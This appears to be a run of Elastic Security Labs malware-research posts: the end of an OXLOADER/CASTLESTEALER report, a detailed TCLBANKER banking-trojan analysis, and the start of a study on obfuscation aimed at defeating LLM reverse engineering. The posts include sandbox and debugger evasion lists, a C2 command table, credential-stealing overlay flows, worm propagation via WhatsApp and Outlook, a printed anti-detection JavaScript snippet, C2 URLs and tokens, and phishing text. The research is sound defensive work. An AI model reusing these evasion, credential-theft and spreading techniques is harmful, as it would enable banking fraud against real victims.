In-memory infostealer delivery via DonutLoader and .NET assembly

This next-stage shellcode is a payload configured from DonutLoader, an open-source shellcode generator used to wrap .NET assemblies, DLLs, and EXEs into position-independent shellcode (PIC) for in-memory execution. During unpacking, the shellcode decrypts the loader's embedded configuration and execution context using the Chaskey-LTS block cipher in CTR mode with the key (6E0A1F8F77F7011561F6F9CA96B71B8F) and IV (956C6128E9362E075F8D006C93616A66).

After the decryption, the payload is decompressed via aPLib then bootstrapped through DonutLoader’s RunPE() function. The final payload is a newly discovered information stealer by Huntress called CASTLESTEALER. This attribution is based on the same AES key used for C2 communications found between 0xDEADBEEF markers in a previous sample.

Second OXLOADER variant: same loader, different masqueraded program

A second OXLOADER variant masquerades as a Node.js installer rather than API Monitor, but uses the identical loader mechanism.

On May 13, 2026, we discovered that the redirector endpoint app.miloyannopoulos[.]com/download responded with one of two Location header fields, chosen at random:

https://link.storjshare[.]io/raw/jv5uebuqwzfpmtahj34q753ptykq/node/BATPackageBulderSetup.bat
https://link.storjshare[.]io/raw/jvsmdybqmvwep2oawbobp6ub7aza/node/node-v24.15.0-x64-86.exe

The Batch installation script (BATPackageBulderSetup.bat, with a typo for “Builder”) remained mostly identical. The only difference was that the Storj payload link now pointed to a different binary named node-v24.15.0-x64-86.exe.

The payload attempts to masquerade itself as benign CMake code while retaining “node” in the filename, likely to keep the lure theme intact. We believe the earlier “API Monitor” sample was likely a distribution error by the operator.

Upon execution, we noticed the same pattern: indirect jumps used for in-memory self-decryption, followed by the loading of mpr.dll and a call to WNetAddConnection2W. We confirmed that it is the identical loader mechanism discussed previously, and this sample also loads CASTLESTEALER.

Below is a snippet where the self-decryption occurs. Dummy CMake-related strings appear to be passed as arguments to a function call, which patches a small decryption stub into memory immediately after the call site. Execution then jumps to the stub to decrypt subsequent instructions, and this process repeats 2 more times until the main malware body is decrypted.

Conclusion: why defenders should track OXLOADER

OXLOADER is in an early operational phase, but the engineering behind it suggests this family is worth watching. The code obfuscation, anti-VM measures, benign-looking code used to masquerade its binaries, and unique staging techniques reflect deliberate engineering choices to evade analysis. That investment is paying off, resulting in low detection rates across static engines and detonation runs, giving OXLOADER a window to operate before it gets hunted down.

REF8372 through MITRE ATT&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Remediating REF8372

Prevention

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

The following observables were discussed in this research.

TCLBANKER: Brazilian Banking Trojan Spreading via WhatsApp and Outlook

Jia Yu Chan,Daniel Stepanic,Seth Goodwin,Terrance DeJesus — Thu, 07 May 2026 00:00:00 GMT

Elastic Security Labs identified a new Brazilian banking trojan that we are tracking as TCLBANKER, a malware family we assess is a major update of the MAVERICK/SORVEPOTEL family. The campaign, tracked as REF3076, features a loader with robust anti-analysis capabilities that deploys two embedded .NET Reactor-protected modules: a full-featured banking trojan and a worm module for self-propagation.

The banking trojan monitors the victim's browser address bar via UI Automation, targeting 59 Brazilian banking, fintech, and cryptocurrency domains. Beyond the usual remote access commands, its most notable capability is a WPF-based full-screen overlay framework designed for operator-driven social engineering.

A second module handles distribution through spam agents, of which we recovered two variants: a WhatsApp worm that hijacks authenticated browser sessions to message the victim's contacts, and an Outlook email bot that sends phishing emails through the victim's own accounts via COM automation.

Through this report, we provide a detailed technical breakdown of each stage.

Key takeaways

TCLBANKER uses environment-gated payload decryption; incorrect environments, such as sandboxes, silently fail to decrypt the payload
A comprehensive watchdog subsystem continuously monitors for analysis tools, debuggers, instrumentation frameworks, and integrity violations throughout execution
The banking trojan targets 59 Brazilian banking, fintech, and cryptocurrency domains, activating a WebSocket C2 session when a victim navigates to a monitored site
A WPF-based full-screen overlay framework enables operator-driven social engineering, including credential harvesting, vishing wait screens, and fake Windows Update stalls, while hiding overlays from screen capture tools
Worm modules propagate the malware: a WhatsApp bot and an Outlook email bot
All C2 and distribution infrastructure is hosted on Cloudflare Workers under a single account, with developer artifacts (debug logging paths, test process names) and an incomplete phishing page, suggesting the campaign was identified in an early operational stage

Delivery

TCLBANKER is a Brazilian banking trojan that contains a dynamic infection chain with a heavy anti-analysis loading component that can deploy two embedded payloads (worm, banker). The observed infection chain bundles a malicious MSI installer inside a ZIP file. These MSI installer packages are abusing a signed Logitech program called Logi AI Prompt Builder.

TCLBANKER abuses DLL sideloading against LogiAiPromptBuilder.exe, a legitimate Logitech application built on the Flutter framework. The malicious DLL screen_retriever_plugin.dll masquerades as a legitimate Flutter plugin of the same name and is loaded automatically when the host application starts.

After the MSI installation, the malicious DLL is immediately loaded and starts at the DllMain entry point.

Loader

The loader component for TCLBANKER is packed with features, including anti-debugging features, anti-analysis checks, string encryption, system language checks, ETW patching, and a watchdog capability. While it has many features, it lacks depth and has references to older malware analysis tooling. It’s not entirely clear whether the developer used LLM-assisted workflows, but our team wouldn’t be surprised if that were the case.

At the beginning of the execution, TCLBANKER aligns the corresponding .NET assembly payloads based on whether the string (--renderer=sw) is used in the command-line. Within its main loader function, it first performs allow-list/blocklist operations based on how the DLL was loaded. The malicious DLL will only execute if the host process comes from the following two processes:

logiaipromptbuilder.exe
tclloader.exe (Possible reference to developer string during testing)

If the DLL was loaded by the following processes, it will refuse to run. These processes are traditionally used by analysts to load and debug DLLs.

rundll32.exe
regsvr32.exe
dllhost.exe
svchost.exe

Next, TCLBBANKER removes any user-mode hooking by replacing ntdll.dll from disk. For more evasion, the malware generates the following syscall trampolines used later:

NtQueryInformationProcess
NtSetInformationThread
NtSetInformationProcess
NtTerminateProcess
NtAllocateVirtualMemory
NtProtectVirtualMemory

After installing syscall stubs, the malware patches EtwEventWrite in ntdll.dll with the classic xor eax, eax; ret to disable user-mode ETW telemetry.

TCLBANKER performs an initial sandbox check by capturing a start tick using GetTickCount64(), sleeping for 500 ms, and measuring the elapsed time. If fewer than 450 ms have actually passed, the malware bails — this detects sandboxes or emulation frameworks that hook Sleep to return immediately..

One of the more interesting features of TCLBANKER is an enumeration function that generates three fingerprints based on the following criteria:

Anti-debugging checks
System disk information and memory checks
Language checks

The developer uses magic constants assigned to “clean” paths for each category, then performs an XOR against each one to generate the environment hash. This environment hash value is significant because it affects downstream decryption of the embedded payload.

For example, if a debugger is present, it will produce an incorrect hash, so when the malware attempts to derive the decryption keys from the hash, the payload will not decrypt correctly, and TCLBANKER will stop executing.

Anti-debugging checks

TCLBANKER implements six different anti-debugging checks:

Identify the debugger through the Peb->BeingDebugged flag
Checks heap-tail/heap-free/check-heap flags set when a process is launched under a debugger
Leverages NtQueryInformationProcess() using ProcessDebugPort
Uses NtQueryInformationProcess() using ProcessDebugObjectHandle
Hardware breakpoint detection via the debug registers (DR0-DR3)
Measures the elapsed time using QueryPerformanceCounter() deltas and RDTSC cycle counts

System information checks

TCLBANKER has the following five different checks based on virtualization, system, and user information:

Checks for virtualization software using vendor signature

Verify the root system drive (C:\\) via GetDiskFreeSpaceExW() has at least 64 GB
Calls GlobalMemoryStatusEx() to verify the system has more than 2 GB of RAM
Checks for 2 or CPU processors via GetSystemInfo()
Checks for generic sandbox/malware usernames
sandbox, malware, virus, sample, john doe, currentuser

Language checks

For the last environment fingerprint check, TCLBANKER retrieves geographical information of the infected machine using GetUserGeoID(), targeting Brazilian users based on the geographical ID (0x20). A second locale check via GetUserDefaultLCID() also ensures the user's default language is Brazilian Portuguese (pt-BR, LANGID 0x0416).

After these sets of checks, TCLBANKER will either bail out of execution if anything is detected or, if not, produce another anti-debugging check by patching DbgUiRemoteBreakin(). The malware patches its first byte to a ret instruction so that any attempt to remotely break into the process does nothing — the injected thread immediately returns, and the target keeps running, unsuspended.

DbgUiRemoteBreakin" title="Patching DbgUiRemoteBreakin" />

After this, the malware derives an AES-256 CBC key and IV by using hard-coded constants from the .rdata section along with the environmental hash calculated earlier. TCLBanker uses BCryptDecrypt() to decrypt the embedded payload, then decompresses via RtlDecompressBuffer using the LZNT1 compression algorithm.

Once the respective payload is decrypted, TCLBANKER initializes COM via CoInitializeEx() and uses the CLR hosting APIs to load the .NET runtime in-process. Before launching the payload entry point, TCLBanker creates two new threads: one serves as the watchdog, and the other monitors the watchdog thread as a heartbeat check.

Watchdog

TCLBANKER has a comprehensive watchdog feature that targets various analysis tools, including disassemblers, debuggers, instrumentation products, anti-virus products, and sandbox products. This section will outline the various techniques used by this feature:

Debugger check via PEB→BeingDebugged
Watches for hardware breakpoints DR0/DR1/DR2/DR3
Checks Windows functions (BCryptDecrypt(), BCryptOpenAlgorithmProvider()) for in-line hooks by scanning the first 12 bytes of each function
Monitors for instrumentation tools and related strings (frida, cydia, user-path injection, hook framework)
Reviews all kernel named pipes searching for frida or linjector
Performs process enumeration via CreateToolhelp32Snapshot() targeting the following process names:
frida, de4dot, dnspy, megadumper, extremedumper, processhacker, x64dbg, x32dbg, pe-sieve, scylla, Ilspy, dotpeek, netreactorslayer, cheatengine

Employs Windows title detection via GetWindowTextW() with these titles:
x64dbg, x32dbg, ida -, ida pro, ghidra, dnspy, megadumper, extremedumper, processhacker, ollydbg, windbg)_, pe_sieve, scylla
Identifies analyst tooling based on the following window class names via FindWindowW():
IDATopLevelWindow, idaabortwndclass, TIdaWindow, x64dbg, x32dbg, OLLYDBG, WinDbgFrameClass, ProcessHacker, SystemInformer, CheatEngine, HxdClass
Checks for the following loaded modules
dbeng.dll, dbgcore.dll, SbieDll.dll, snxhk.dll, cmdvrt32.dll, cmdvrt64.dll, cuckoomon.dll, pstorec.dll, vmcheck.dll, wpespy.dll
Targets the following mutexes and events:
Ida_trusted_idbs, IDA_COMM_PIPE_, Local\\x64dbg, Local\\x32dbg, Frida, YOURAPPNAMEHERE
Performs CRC32 integrity check on the .text section to prevent any tampering

Banking Trojan Module

Tcl.Agent is a banking trojan, the main component of the chain. It is .NET Reactor-protected, and although we failed to deobfuscate it using available open-source tooling such as de4dot and NETReactorSlayer, we managed to statically deobfuscate this stage up to a satisfiable state using a custom deobfuscation pipeline to tackle .NET Reactor’s string encryption, control flow flattening, IL mutation, delegate proxies, and encrypted method bodies (Necrobit). Although it is a new malware, much of the code structure still follows ESET’s LATAM banking trojan implementation blueprint, published in 2020.

At start, the malware performs geofencing, requiring >= 2 of the following indicators to match Brazil; otherwise, it exits immediately if not on a Brazilian machine:

Installation and Persistence

On the first run, the malware copies the entire application directory into %LocalAppData%\LogiAI. It computes a SHA-256 hash over all .dll and .exe files in the source directory and writes it to a .version marker file. On subsequent runs, it compares hashes to skip redundant copies. After copying, it launches the new instance from the install path and exits.

It creates a scheduled task named RuntimeOptimizeService using COM interop with the Task Scheduler (CLSID 0F87369F-A4E5-4CFC-BD3E-73E6154572DD). The task is configured as hidden, enabled, with no execution time limit, allowed on battery, start-when-available, and fires on a logon trigger (type 9) scoped to the current user. It registers with TASK_CREATE_OR_UPDATE and TASK_LOGON_SERVICE_ACCOUNT.

After persistence is established, the agent sends a first-run POST beacon to https://campanha1-api.ef971a42.workers[.]dev/api/installs with the agentId (MachineName-UserName), MachineName, UserName (redundant), and the OS version. The request is authenticated with a hardcoded campaign authentication token 0d21613a-2609-45fc-83ff-d0feaa0c891f. The newer variant adds debug logging around this call (C:\temp\tcl-debug.txt), a developer artifact that inadvertently exposes agent presence on disk.

Self-Update

The agent implements a hash-based self-update gate that runs early in the startup pipeline. It reads a local version hash from flutter_engine.cfg in its install directory (migrating from a legacy version.hash filename if present), then fetches the current hash from the file server endpoint documents.ef971a42.workers[.]dev/api/version using a truncated User-Agent string (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36.

The response is parsed for the "hash" key. If the remote hash matches the local hash, execution continues normally. On first install, the remote hash is written to disk, and execution proceeds without updating.

When a hash mismatch is detected, the agent downloads the update payload from documents.ef971a42.workers[.]dev/api/update as an MSI to %TEMP%\update_{8hexchars}.msi, authenticated with Bearer token b7ba9e80-0d04-4d9e-b217-c8b3cce335a2.

The download is validated against a 100KB minimum size as a sanity check. The agent then writes a self-deleting batch script to %TEMP% that polls the tasklist until the current process exits, executes msiexec /i /qn REINSTALLMODE=amus for silent installation, and deletes itself. The batch file is launched via a hidden cmd.exe process before the agent terminates, handing off execution to the updated payload.

Browser URL Monitor and C2 Session Initialization

Every second, the malware agent calls a browser URL monitor function that reads the foreground browser's address bar via UI Automation. It calls GetForegroundWindow, resolves the owning process, checks the process name against Chrome, Firefox, Microsoft Edge, Brave, Opera, and Vivaldi, then uses AutomationElement.FromHandle -> FindFirst(Descendants, ControlType.Edit) -> ValuePattern.Current.Value to extract the URL, similar to this Stack Overflow implementation.

The extracted URL is matched against a fixed list of targeted banks embedded in the binary, encoded via XOR with a 16-byte key and base64 encoding.

This GitHub Gist contains a list of 59 targeted domains, including Brazilian banking, fintech platforms, and cryptocurrency exchanges, grouped by the target IDs appended to each decrypted domain.

When a match hits, the domain target ID is passed to the next state, which initializes the official C2 communication by establishing a WebSocket connection to wss://mxtestacionamentos[.]com/ws. The OnConnect handler fires, sending a registration packet containing the agent ID (a random GUID at runtime), MachineName, UserName, machine info, timestamp, domain target ID (so the C2 knows which website the victim opened), and a signature.

To produce a handshake signature, HMAC-SHA256 is used to sign the victim identifier (agent ID, MachineName, UserName, OSVersion, timestamp) using the campaign GUID 70e4f943-e323-4484-97d7-35401bf6812c as the key.

The server then responds with a registration acknowledgment, officially starting the session, and enters the command dispatch loop. At session start, a Task Manager killer is fired every 500ms to prevent the victim from inspecting or terminating the agent's process.

C2 Command Table

A capability summarization is described through the opcode table below:

| Opcode | Purpose | | :---- | :---- | | 2 | Registration ACK, start the Task Manager killer | | 4 | Graceful WebSocket disconnect | | 5 | Suicide: Kill all sibling processes and exit | | 6 | Forced reboot (shutdown.exe /r /t 0 /f) | | 7 | Suicide-then-Uninstall: kill all processes with the same host binary name except itself (siblings) → uninstall → exit | | 16 | Screenshot | | 17 | Start streaming the screen | | 18 | Stop streaming the screen | | 19 | Set screen capture quality (1-100) | | 20 | Enumerate monitors | | 32 | Mouse move (X, Y, MonitorIndex) | | 33 | Mouse click through overlay: parse {X,Y,Button,MonitorIndex} → translate to absolute desktop coords → find the implant's own overlay window covering that point → punch a 2x2 region hole in the overlay at that pixel → SetCursorPos + SendInput mouse-down/up (which lands on whatever real desktop content is underneath the overlay). | | 34 | Mouse scroll (Delta, SendInput) | | 35 | Key tap (KeyCode, SendInput) | | 37 | Key down (KeyCode, SendInput) | | 38 | Key up (KeyCode, SendInput) | | 39 | Start keylogger (WH_KEYBOARD_LL hook) | | 40 | Flush keylogger, exfil to C2 | | 41 | Clipboard hijack (Clipboard.SetText) | | 48 | File system directory listing | | 65 | Get running processes information | | 67 | Shell command execution (cmd.exe /c) | | 80 | Enumerate all visible windows | | 81 | Window manager: Kill process of a window / minimize window / restore window / bring window to foreground / close window / move window to another monitor | | 83 | Show stall overlay: either progress-steps or fake Windows Update screen | | 84 | Teardown overlay | | 85 | Toggle screen capture immunity. Enables/disables WDA_EXCLUDEFROMCAPTURE on all overlay windows to hide them from screen sharing / screenshots. | | 86 | Refresh overlay content | | 87 | Show cutout overlay: pin external window inside overlay with visible region cutout | | 96 | Show credential prompt overlay |

Social Engineering UI Framework

A more interesting capability of the banking trojan is a WPF-based full-screen overlay subsystem that orchestrates bank-themed fraud flows during active C2 sessions.

Overlay Lifecycle

The overlay manager spawns one full-screen WPF window per monitor. Windows are configured as borderless, topmost, and hidden from the taskbar (WindowStyle.None, Topmost = true, ShowInTaskbar = false), with a custom Closing handle that refuses dismissal until an internal flag is flipped by the operator through the overlay teardown command, preventing the windows from being closed.

At startup, the manager captures a PNG screenshot of every display via CopyFromScreen as the overlay backdrop, creating a “frozen desktop” look. Depending on the currently active overlay, the victim perceives their real desktop environment behind it.

A 500ms timer continuously reapplies HWND_TOPMOST via SetWindowPos to defeat any window attempting to surface above the overlay.

![Overlay "always on top" setting](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3606883337159dfd/6a7c9596e02fac1bdc5d0951/image14.png "Overlay \"always on top\" setting")

In addition, an anti-capture feature calls SetWindowDisplayAffinity with WDA_EXCLUDEFROMCAPTURE, rendering the overlay invisible to any screen-capturing tools, allowing the operator to see through their own overlay through the screenshot and screenstreaming commands.

Input Blocker

On the primary monitor, two hooks are installed: WH_KEYBOARD_LL and WH_MOUSE_LL. Both hooks check their respective injected flags (LLKHF_INJECTED for keyboard, LLMHF_INJECTED for mouse), allowing input injected via SendInput by the operator’s remote commands to pass through untouched. The keyboard hook swallows Tab, Escape, Alt+F4, Win keys, PrintScreen, Ctrl, Alt, and all navigation keys; the mouse hook blocks right-click, middle-click, and scroll, but allows left-click and movement, so the victim can still interact with the overlay prompts.

Social Engineering UI Builders

Five interchangeable content renderers plug into the overlay framework:

Credential Prompt: Supports three input modes, selected based on the operator's request parameters.

Phone mode applies real-time Brazilian format masking ((##) ####-#### for 10-digit landlines, (##) #####-#### for 11-digit mobiles) with max 11 digits.
Virtual keypad mode renders an on-screen numeric keypad (buttons 0–9 plus "limpar"/clear), displaying input as bullet characters to mimic PIN entry.
Default mode accepts plain text with a configurable max length.

All modes run input through a quality validator that algorithmically rejects same-digit sequences (000000) and ascending/descending runs (123456, 654321) to prevent victims from entering throwaway values.

The submit action fires the captured values to the C2.

Vishing Wait Screen: Triggers after the victim submits their phone number in the credential prompt. Displays "Estamos entrando em contato" ("We are getting in touch") with a central image “breathing” animation and three dots with staggered opacity animations (300ms offset per dot) producing a "connecting" visual. The operator or an accomplice can then call the victim's real phone, impersonating bank security staff.

Progress Steps: A fully operator-templated stall screen displaying a list of fake processing steps with a randomized animation. Step durations are randomized to total approximately 15 minutes. A timer advances through each step sequentially, visually marking completed steps, highlighting the current one, and dimming the remaining ones. When all steps are complete, the sequence resets to an earlier position with new randomized timings and continues.

Fake Windows Update: An alternative stall screen mimicking the Windows 10/11 update-restart screen. Renders a solid #0078D7 (Windows accent blue) background with a five-ellipse spinning indicator arranged in a circle. A percentage readout jumps by a random 25–35% at randomly selected 50–81-second intervals to mimic the irregular progress behavior of real Windows Updates. Default subtitle: "Trabalhando em atualizacoes" ("Working on updates").

![Windows "Working on Updates" stall overlay](https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt063ca7be80c0980a/6a7c95a305b7b573f3185e99/image35.png "Windows \"Working on Updates\" stall overlay")

Cutout Overlay: Cuts a rectangular hole in the full-screen overlay, exposing the underlying application window. The operator specifies hole dimensions via opcode 87, in which the overlay manager builds a themed card with a transparent-border placeholder, computes its screen coordinates post-layout, and cuts a matching region hole using CreateRectRgn + CombineRgn(RGN_DIFF) + SetWindowRgn. The target window is repositioned underneath the hole. The result is a real application window framed within the overlay, and the victim interacts with the actual application while the surrounding overlay provides deceptive context.

Worm module

The second module invoked by the loader is Tcl.WppBot, is designed to propagate spam and phishing messages at scale, to distribute TCLBANKER. Two distinct agent types were recovered from two different loaders and analyzed:

A WhatsApp worm that hijacks browser sessions
An Outlook email bot that abuses Microsoft Outlook through COM interop

Tcl.WppBot is also .NET Reactor-protected with the same version used to protect Tcl.Agent, and so we also managed to statically deobfuscate payloads in this stage.

Both agents share the same C2 backend, authentication credentials, and operational infrastructure. The C2 URL and API key are decrypted at startup using XOR decryption with a hardcoded key.

C2 URL: campanha1-api.ef971a42.workers[.]dev (Cloudflare Workers app)
API key / Bearer token: 0d21613a-2609-45fc-83ff-d0feaa0c891f

The C2 serves a single superset campaign configuration object via the https://campanha1-api.ef971a42.workers[.]dev/api/campaign endpoint. Each agent variant deserializes the full object but only reads the fields relevant to its channel.

Captured configuration:

message            : Ola tudo bem?
                     Preciso de um orÃ§amento, estarei encaminhado caso tenha os produtos por favor me retorne para
                     darmos continuidade no atendimento.

                     https://arquivos-omie[.]com ð

                     âï¸*IMPORTANTE*: Este orÃ§amento foi otimizado para visualizaÃ§Ã£o em Computadores Desktop,
                     pois o mesmo necessita de visualizador de excel, word ou pdf.
fileUrl            : https://documents.ef971a42.workers[.]dev/file
delayMin           : 1
delayMax           : 3
maxPerSession      : 3000
updatedAt          : 2026-04-17T15:54:07.003Z
type               : gmail
subject            : Prezado(a), NFe disponÃvel para impressÃ£o
emailMessage       : 
                     
                     
                         
                         Nota Fiscal DisponÃvel
                         
                     
                     

                         Prezado(a)
                         
                             Sua Nota Fiscal EletrÃ´nica (NFe) estÃ¡ disponÃvel e pronta para ser acessada.
                             Para facilitar, basta clicar no botÃ£o abaixo para abrir o documento.
                         

                         
                             Caso tenha alguma dÃºvida sobre os detalhes da nota ou precise de alguma alteraÃ§Ã£o, por
                     favor, entre em contato conosco.
                         

                         
                             
                         

                         
                             Agradecemos pela confianÃ§a e ficamos Ã  disposiÃ§Ã£o para qualquer outra necessidade.
                         

                     
                     
emailDelayMin      : 30
emailDelayMax      : 90
emailMaxPerSession : 100

The same Cloudflare account ef971a42 also hosts the payload delivery CDN (domain for fileUrl in the configuration object) at documents.ef971a42.workers[.]dev. Accessible through the /file endpoint, it currently serves a zip file containing the TCLBANKER-trojanized LogiAI Prompt Builder MSI. This infrastructure decision allows the operator to rapidly redeploy infrastructure without maintaining dedicated servers.

As of the time of writing, the phishing domain arquivos-omie[.]com identified in the configuration above, created on 2026-04-15, is not at an operable state (Welcome! This portal is currently undergoing scheduled maintenance. Please try again later.) The campaign could be in its early operational stages or staged for tasking. This domain is also named to impersonate a popular Brazilian Enterprise Resource Planning (ERP) suite.

Agent 1: WhatsApp Bot

The WhatsApp agent silently takes over the victim’s authenticated WhatsApp Web session to send spam messages and distribute TCLBANKER to Brazilian contacts.

Session Hijacking

The malware starts by discovering Chromium-based browsers on the target system, then scanning both the App Paths registry entries and common installation directories for Chrome, Edge, Brave, Opera, and Vivaldi. It then walks each browser's user profiles (e.g., "Default," "Profile 1," etc.), looking for evidence of an active WhatsApp Web session. A profile is flagged as having an authenticated session if its IndexedDB storage contains the WhatsApp Web LevelDB directory at /IndexedDB/https_web.whatsapp[.]com_0.indexeddb.leveldb/.

Then each profile is sent to the profile-cloning and session-hijacking function.

For each qualifying profile, the malware clones it to a temporary directory at %TEMP%\\, copying only the files needed to resume the WhatsApp Web session: IndexedDB, Local Storage, Session Storage, databases, Web Data, Login Data, and Cookies. It then launches a headless Chromium instance via Selenium WebDriver, with --user-data-dir pointing at the cloned profile.

The matching chromedriver.exe is resolved at runtime by a disguised Selenium Manager binary dropped at %TEMP%\msvc-rt14\bin\hostfxr.exe, which is invoked with --browser chrome --output json and returns the path of a chromedriver compatible with the victim's installed Chrome version.

Immediately after launch, the malware injects JavaScript to bypass bot-detection frameworks by hiding navigator.webdriver, populates chrome.runtime, reconciles the Notification.permission / permissions.query state mismatch, fakes a non-empty navigator.plugins array, and sets navigator.languages to ['pt-BR', 'pt', 'en-US', 'en'] to match the target demographic.

Object.defineProperty(navigator, 'webdriver', {
    get: () = > undefined 
}

);
delete navigator.__proto__.webdriver;
if (window.chrome)  {
    window.chrome.runtime = window.chrome.runtime || {};
}

const origQuery = window.navigator.permissions.query;
window.navigator.permissions.query = (p) = > (
p.name ==  = 'notifications' ?
Promise.resolve( {
    state: Notification.permission 
}

) :
origQuery(p)
);
Object.defineProperty(navigator, 'plugins', {
    get: () = > [1, 2, 3, 4, 5], }

);
Object.defineProperty(navigator, 'languages', {
    get: () = > ['pt-BR', 'pt', 'en-US', 'en'], }

);
window.navigator.chrome = {
    runtime: {}

};

With the cloned profile loaded, the browser navigates to web.whatsapp[.]com, and the malware waits up to 45 seconds to observe the resulting page state. If the chat interface appears (the cloned IndexedDB was valid and the session resumed without a QR scan), it injects an embedded WA-JS (WPPConnect) library and waits for WPP.contact.list and WPP.chat.sendTextMessage to become callable before starting the campaign dispatch loop. If the QR code prompt is shown instead, the engine returns "qr_code" without attempting injection, then tries the next candidate profile.

Spam Functionality

Once the injection succeeds, the malware retrieves the active campaign from the C2 endpoint https://campanha1-api.ef971a42.workers[.]dev/api/campaign, which supplies the message body, optional attachment URL, caption, and timing parameters. TCLBANKER is then downloaded from the file server at https://documents.ef971a42.workers[.]dev/file and reconstructed in the browser context as a File object, without being dropped to disk.

The malware then calls WPP.contact.list to harvest the victim's address book, filters out groups, broadcasts, and non-Brazilian numbers, and begins dispatching messages through WPP.chat.sendTextMessage and sendFileMessage. The malware reports progress to the C2 endpoint /api/progress after each batch, and polls /api/control for remote pause or resend commands from the operator.

Agent 2: Outlook Email Bot

The Outlook agent is an email spambot that abuses the victim’s installed Microsoft Outlook application to send phishing emails from the victim’s email address, making them harder to detect as spam than emails sent from attacker-controlled infrastructure.

Outlook Discovery & COM Attachment

If OUTLOOK.EXE is not already running, it attempts to locate the installation in App Paths registry entries and known installation directories and launches it in a new process. The malware then attaches to the process via COM interop: Marshal.GetActiveObject("Outlook.Application"), and validates that it has at least one email account configured.

Contact Harvesting

The malware then drops a PowerShell script, %TEMP%\oc.ps1, that harvests contacts via Outlook COM from a separate process. It harvests contacts from two sources: first, it reads the default Contacts folder for all contact entries, extracting email addresses and full names from each contact item. Second, it iterates every store’s root folders to find inbox-like folders, sorts inbox messages by latest, and extracts sender email addresses and names before writing them to a .txt file in email|name format.

For each candidate email, additional filtering is done to maximize deliverability.

Spam Functionality

Similar to the WhatsApp bot, the malware retrieves the active campaign from https://campanha1-api.ef971a42.workers[.]dev/api/campaign, then sends emails through the victim's own Outlook accounts via COM automation. Each email is constructed via outlookApp.CreateItem(0) (MailItem) with the recipient in To, the campaign subject line, and the campaign content emailMessage, sent using the victim's actual account via SendUsingAccount.

Between sends, the agent applies a randomized delay and periodically checks the C2 control endpoint /api/control for pause or resend commands, and reports progress to /api/progress.

Infrastructure

The REF3076 actors have leveraged the worker[.]dev Cloudflare Serverless infrastructure for C2 and file hosting. This decision allows them to inherit any trust victims might already have in Cloudflare and to rotate infrastructure quickly as needed.

Pivoting on the body-hash (91fafaa1240676afe5c55d931261e3798797c408) of the phishing site above (arquivos-omie[.]com), we were able to identify additional domains that are likely being prepared for weaponization:

More Brazilian phishing infrastructure was discovered after a broader pivot in the banner title (Portal Corporativo), but it’s unclear whether it was directly related to REF3076 or to other actors in the Latin American banking trojan ecosystem. Notably, one cluster leveraged the Cloudflare pages[.]dev free static-site hosting product.

The C2 domain mxtestacionamentos[.]com previously pointed to a Brazilian-hosted IP 191.96.224[.]96.

Last year, this IP concurrently hosted a REF3076 C2 domain, a REF3076 phishing domain, and a domain previously associated with the Water Saci campaign and SORVEPOTEL/MAVERICK malware by TrendMicro (saogeraldoshiping[.]com).

!Validin timeline of A records associated with 191.96.224[.]96

Conclusion

TCLBANKER reflects a broader maturation happening across the Brazilian banking trojan ecosystem. Techniques that were once the hallmark of more sophisticated threat actors: environment-gated payload decryption, direct syscall generation, real-time social engineering orchestration over WebSocket, are now being packaged into commodity crimeware. The barrier to entry continues to drop, especially when powerful LLMs are readily accessible for code generation.

The inclusion of self-propagating worm modules marks a notable shift in this space. The campaign inherits the trust and deliverability of legitimate communications by hijacking victims' WhatsApp sessions and Outlook accounts. This is a distribution model that traditional email gateways and reputation-based defenses are ill-equipped to catch. As Latin American banking trojans continue to adopt these self-spreading mechanisms, organizations should expect the volume and reach of these campaigns to scale accordingly.

Developer artifacts throughout the chain, including debug logging paths, test process names, and a phishing site still under construction, suggest REF3076 is in its early operational stages. This is a campaign still being built out, not wound down.

REF3076 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Remediating REF3076

Prevention

YARA

Elastic Security has created YARA rules to identify this activity.

Windows.Trojan.TCLBanker

Observations

The following observables were discussed in this research.

The Cost of Understanding: LLM-Driven Reverse Engineering vs Iterative LLM Obfuscation

Cyril François,Daniel Stepanic,Jia Yu Chan — Tue, 21 Apr 2026 00:00:00 GMT

Introduction

Over the past few years, we have observed a significant evolution in the capabilities of LLMs to be productive and to carry out various tasks that address real-world problems, such as program synthesis, malware research, or vulnerability research. Specifically in the context of reverse engineering, LLMs are particularly effective given the right tools because they are very good at reading source code even without symbols. Not only that, thanks to their knowledge, they are capable of imitating and applying reversing methodologies.

Program obfuscation methods create a significant asymmetry between the time required to apply the transformations to a program and the time required to reverse-engineer it, providing a relatively effective defense against reverse engineering and putting pressure on researchers to waste time and develop new methods. The emergence of LLMs has significantly changed the game, as models are now capable of breaking these obfuscations (depending on the transformations applied) in a reasonable amount of time, thus reversing this asymmetry in favor of the attacker.

Nevertheless, in this cat-and-mouse game, we assume that it is only a matter of time before obfuscator manufacturers adapt with new techniques and raise the bar, just as, to face this new reality where reverse engineering has never been so accessible, software producers systematically apply these transformations to protect their intellectual property.

Twice a year, Elastic offers engineers the opportunity to undertake a one-week research project during ON Week. For this April 2026 session, inspired by this article, we researched how cheap and easy it is to vibecode obfuscation techniques targeted against LLMs, specifically Claude Opus 4.6. This research will cover an initial benchmark we conducted, in which we tested the model against targets compiled with various combinations of transformations using the academic (but very powerful) Tigress obfuscator. Then we follow with our research of different obfuscation techniques we have found effective against the model, which were completely vibecoded using a dev/test/improve AI-driven pipeline.

Due to time constraints, we focused on static-analysis defenses. However, we think with no doubt that the workflow we have used can also be used to research ideas focused on dynamic-analysis defenses, such as evasion and anti-debug techniques, to make LLM-driven analysis significantly more expensive and unreliable.

Key takeaways

LLMs have rapidly reshaped the software industry, making complex topics such as reverse engineering more accessible, including the ability to defeat various levels of obfuscation
Heavy obfuscation dramatically inflates computational cost and time, disrupting automated analysis pipelines
Effective LLM-targeting static analysis countermeasures are cheap and fast to develop
Successful LLM defenses exploit context windows, budget caps, and shortcut biases

